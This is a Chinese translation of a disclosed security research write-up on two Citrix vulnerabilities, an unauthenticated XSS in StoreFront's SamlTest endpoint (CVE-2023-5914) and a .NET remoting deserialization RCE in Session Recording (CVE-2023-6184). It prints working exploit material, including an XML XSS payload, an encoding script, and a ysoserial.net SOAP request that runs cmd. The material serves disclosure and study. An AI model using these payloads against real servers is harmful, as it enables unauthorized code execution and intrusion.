背景介绍
2023 年底,Assetnote的安全研究团队发现了Citrix两个漏洞,他们与 Citrix 团队合作披露了该信息。
Citrix StoreFront 是一个为用户聚合和呈现来自本地和混合部署的虚拟应用程序和桌面资源的企业应用程序商店,Citrix Session Recording 中的 CVE-2023-6184,它捕获并存储屏幕更新,包括鼠标活动和可视的显示输出。
这两个应用程序都是用 C# 编写的,从源代码分析的角度来看,发现的漏洞很有趣,因为它们都滥用了 C# 生态系统的‘怪癖’。对于 Citrix StoreFront,该团队发现了 CVE-2023-5914,这是一个跨站点脚本问题,无需身份验证即可利用,此漏洞可通过在 SSO 流中的 XML 解析过程中强制显示错误消息来利用。对于 Citrix Session Recording,该团队发现了 CVE-2023-6184,这是一个由不安全的 .NET 远程处理配置导致的 RCE 漏洞,允许不安全的反序列化。
由于在默认配置下安装时,该漏洞似乎需要身份验证,这就是为什么它在 Citrix 中的 CVSS 评分较低,仅为 5.0的原因。
CVE-2023-5914
漏洞利用流程图:
使用 dnSpy 反编译应用程序后,搜索从 BaseMvcController
继承的所有类,然后,该团队查看每个结果并验证每个结果上的哪些端点无需身份验证即可访问,其中一个端点是 SamlTestController
上的 /Citrix/teststoreAuth/SamlTest
,该方法的代码如下:
[AcceptVerbs(HttpVerbs.Get | HttpVerbs.Post)]
public ActionResult Test()
{
try
{
if (base.Request.HttpMethod.Equals(HttpVerbs.Get.ToString(), StringComparison.OrdinalIgnoreCase))
{
return StartRequest();
}
string text = base.Request.Unvalidated.Form["SAMLResponse"];
if (string.IsNullOrWhiteSpace(text))
{
throw new NullReferenceException(Resources.SamlTestSamlResponseNotFound);
}
SamlResult samlResult = SamlManager.ProcessPackedSamlData(text);
if (samlResult == null)
{
return new HttpStatusCodeResult(HttpStatusCode.Forbidden);
}
XmlDocument xmlDocument = ServiceLocation.GetInstance<FormsTemplateEngine>().RenderTemplate("SamlTest", LocaliserConsumerAttribute.ParseUserLanguages(base.Request.UserLanguages), new
{
identity = samlResult.Name,
assertion = samlResult.Assertion,
claims = samlResult.Identity.Claims.Select((Claim claim) => claim.ToString()).ToList()
});
return new ContentResult
{
Content = xmlDocument.InnerXml,
ContentType = "text/html"
};
}
catch (Exception arg)
{
return new ContentResult
{
Content = $"<html><body><h1>Exception</h1><div>{arg}</div></body></html>",
ContentType = "text/html"
};
}
}
该团队立即注意到的异常处理程序中的字符串没有进行任何处理,如果用户可以控制输入的异常消息,那么就可以实现跨站点脚本攻击,于是他们搜索了 SamlManager.ProcessPackedSamlData
以查看哪些代码路径引发了异常。
XML 解析异常通常包含反射输入,但一般都会受到限制,不允许使用利用漏洞所需的特殊字符,但是在枚举 dotnet 运行时使用的 XML 错误消息后(https://github.com/dotnet/runtime/blob/main/src/libraries/System.Private.Xml/src/Resources/Strings.resx),发现'{0}'
是无效的 xml:space 值,通过利用这一特点,就可以创建以下 XML Payload:
<foo xml:space="<script>alert(1)</script>"></foo>
然后,Payload经过 Base64 编码、JSON 编码、压缩并再次进行 Base64 编码,通过以下请求/响应包,最终编写了XSS利用脚本:
POST /Citrix/teststoreAuth/SamlTest HTTP/2
Host: 192.168.1.100
Content-Type: application/x-www-form-urlencoded
Content-Length: 167
SAMLResponse=q1YKdvT1CUotLsjPK05VskLhBrhHlSVVOpkkhZebJRs7ZUQahVp6ZkYVp7iUVEUaexUkewTmRhkHmkeGV%2bQk5wXm%2bwZn5yZ5BJr7GPtlJefmlKc4R%2bWluBRnBmSVl0XlWpYFpNvaKtUCAA%3d%3d
HTTP/2 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
Set-Cookie: Citrix_AuthSvc=qfa2vmj5vg2kb2xhvqakygh4; path=/Citrix/teststoreAuth; secure; HttpOnly; SameSite=Lax
Date: Mon, 04 Sep 2023 06:00:02 GMT
Content-Length: 1006
<html><body><h1>Exception</h1><div>System.Xml.XmlException: '<script>alert(1)</script>' is an invalid xml:space value. Line 1, position 6.
at System.Xml.XmlTextReaderImpl.Throw(Exception e)
at System.Xml.XmlTextReaderImpl.OnXmlReservedAttribute(NodeData attr)
at System.Xml.XmlTextReaderImpl.ParseAttributes()
at System.Xml.XmlTextReaderImpl.ParseElement()
at System.Xml.XmlTextReaderImpl.ParseDocumentContent()
at System.Xml.XmlLoader.Load(XmlDocument doc, XmlReader reader, Boolean preserveWhitespace)
at System.Xml.XmlDocument.Load(XmlReader reader)
at System.Xml.XmlDocument.LoadXml(String xml)
at Citrix.DeliveryServices.Authentication.Saml20.SamlProtocol.GetSamlAttributeFromResponse(String signInResponseResult)
at Citrix.DeliveryServices.Authentication.Saml20.SamlManager.ProcessSamlResponse(String base64EncodedResponse, Boolean compressed)
at Citrix.DeliveryServices.Authentication.Saml20.Forms.Controllers.SamlTestController.Test()</div></body></html>
下面是为该端点编写的XSS Payload:
import urllib.parse
import base64
import zlib
def deflate(data, compresslevel=9):
compress = zlib.compressobj(
compresslevel,
zlib.DEFLATED,
-zlib.MAX_WBITS,
zlib.DEF_MEM_LEVEL,
0
)
deflated = compress.compress(data)
deflated += compress.flush()
return deflated
foo = open(0).read()
foo = '{"SAMLResponse":"SAMLResponse' + base64.b64encode(foo.encode()).decode() + '"}'
foo = base64.b64encode(deflate(foo.encode()))
print(end=urllib.parse.quote(foo))
CVE-2023-6184
在查看其中一个目标的攻击面时,该团队发现了一个看似默认 IIS 页面的内容,目录爆破很快表明该服务器实际上是 Citrix Session Recording 的一个实例,位于虚拟目录 /WebPlayer 下。
在发现其他 Citrix 产品中的严重漏洞后,这是一个很有希望的线索,然而,在这里却陷入了死胡同。由于页面源代码中没有关于应用程序底层功能的任何提示,为了取得进一步的进展,只能深入研究源代码。
深入研究应用程序
Citrix Session Recording并不广泛使用,即使你在他们的下载门户中有一个活动帐户,该团队的目标是正在运行的Citrix Session Recording 2308,这是当时的最新版本,而他们只能获得2203的ISO,Citrix_Virtual_Apps_and_Desktop_7_2203.iso,这不是很理想,因此该团队只能假设应用程序的主要功能是相同的。
该应用程序用 .NET 编写的,只能在 Windows 上的 IIS 上运行,此外,它还需要一系列先决条件设置。经过一天的设置和 VirtualBox 的调试之后,该团队终于安装并运行了应用程序的本地环境。
默认情况下,Session Recording 似乎使用本地 Windows 用户身份验证来控制对整个站点的访问,这与目标行为并不一致,因此该团队在 IIS 中禁用了 Windows 本地身份验证并继续测试。
任何 IIS 应用程序的核心部分之一就是 web.config 文件,它不仅配置站点的属性,还指定路由、注册 DLL、编录经过身份验证和未经身份验证的目录,以及其他有趣的事情。在这种情况下,有件事引起了该团队的注意:
<system.runtime.remoting>
<application>
<service>
<wellknown
mode="Singleton"
type="SmAudBroker.FileSearch, SsRecBroker"
objectUri="Player.rem"
/>
</service>
<service>
<wellknown
mode="Singleton"
type="SmAudBroker.RestApiStat, SsRecBroker"
objectUri="RestApiStat.rem"
/>
</service>
<!-- .. snip .. -->
<channels>
<channel
name="SsRecBrokerChannel"
priority="100"
ref="http">
<serverProviders>
<formatter
ref="soap"
typeFilterLevel="Full" />
<formatter
ref="binary"
typeFilterLevel="Full" />
<provider
ref="wsdl" />
</serverProviders>
</channel>
</channels>
</application>
</system.runtime.remoting>
该应用程序使用系统运行时远程处理公开 SOAP 端点,大概是为了与 Session Recording 客户端进行通信,这些端点安装在 /SessionRecordingBroker
路径下:
public class Installer : Installer
{
// ...
private const string IisVirtualDirName = "SessionRecordingBroker";
private const string AppDataDirName = "App_Data";
private const string ServerFeatureName = "SsRecServer";
private const string VirtualDirectoryCreatedKey = "VirtualDirectoryCreated";
// ...
public Installer()
{
InitializeComponent();
appEventLogInstaller.Log = "Application";
appEventLogInstaller.Source = "Citrix Session Recording Broker";
Trace.Listeners.Add(new ConsoleTraceListener());
}
访问 /SessionRecordingBroker/RestApiStat.rem
时,成功收到内部服务器错误,证明端点正确。远程处理的有趣之处在于它使用 .NET 序列化进行通信,众所周知,这可能会导致 RCE,在本例中,由于 typeFilterLevel="Full"
,意味着可以传递的对象类型不受限制。
EXP利用
2019 年,Soroush Dalili 撰写了一篇关于如何利用如此配置的 IIS 应用程序的博文(https://research.nccgroup.com/2019/03/19/finding-and-exploiting-net-remoting-over-http-using-deserialisation/),该博客发布了 SOAP 格式的 ysoserial.net Payload (https://github.com/pwntester/ysoserial.net) 的执行条件:
- HTTP 请求必须是POST或M-POST
- SOAPAction Header不应为空
- 在Payload中需要删除
<SOAP-ENV:Body>
</SOAP-ENV:Body>
标记
首先创建Payload:
.\ysoserial.exe -f SoapFormatter -g TextFormattingRunProperties -o raw -c 'cmd.exe /C echo pwned > C:\Users\Public\Downloads\PWNED.txt'
然后,删除 <SOAP-ENV:Body>
标记并添加 SOAPAction Header,可以得到以下请求:
POST /SessionRecordingBroker/RestApiStat.rem HTTP/2
Host: aaa.bbb.ccc.ddd
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Cache-Control: max-age=0
Soapaction: "x"
Content-Length: 1673
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0"
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<a1:TextFormattingRunProperties id="ref-1"
xmlns:a1="http://schemas.microsoft.com/clr/nsassem/Microsoft.VisualStudio.Text.Formatting/Microsoft.PowerShell.Editor%2C%20Version%3D3.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D31bf3856ad364e35">
<ForegroundBrush id="ref-3"><?xml version="1.0"
encoding="utf-16"?>
<ObjectDataProvider MethodName="Start"
IsInitialLoadEnabled="False"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:sd="clr-namespace:System.Diagnostics;assembly=System"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="/c cmd.exe /C echo
pwned &gt; C:\Users\Public\Downloads\PWNED.txt"
StandardErrorEncoding="{x:Null}"
StandardOutputEncoding="{x:Null}" UserName=""
Password="{x:Null}" Domain=""
LoadUserProfile="False" FileName="cmd" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider></ForegroundBrush>
</a1:TextFormattingRunProperties>
</SOAP-ENV:Envelope>
发送该请求,可以看到在本地环境中,在Public目录中成功创建了一个文件:
通过向目标发送基于 DNS 查找的请求,该团队确认 RCE 也适用于最新版本,而Citrix 表示,该问题需要在默认配置中进行身份验证才能利用,但是根据该团队的测试发现,无需身份验证即可在野利用该漏洞。
以上内容由骨哥翻译并整理,希望对你有所帮助。
英文原文:https://www.assetnote.io/resources/research/continuing-the-citrix-saga-cve-2023-5914-cve-2023-6184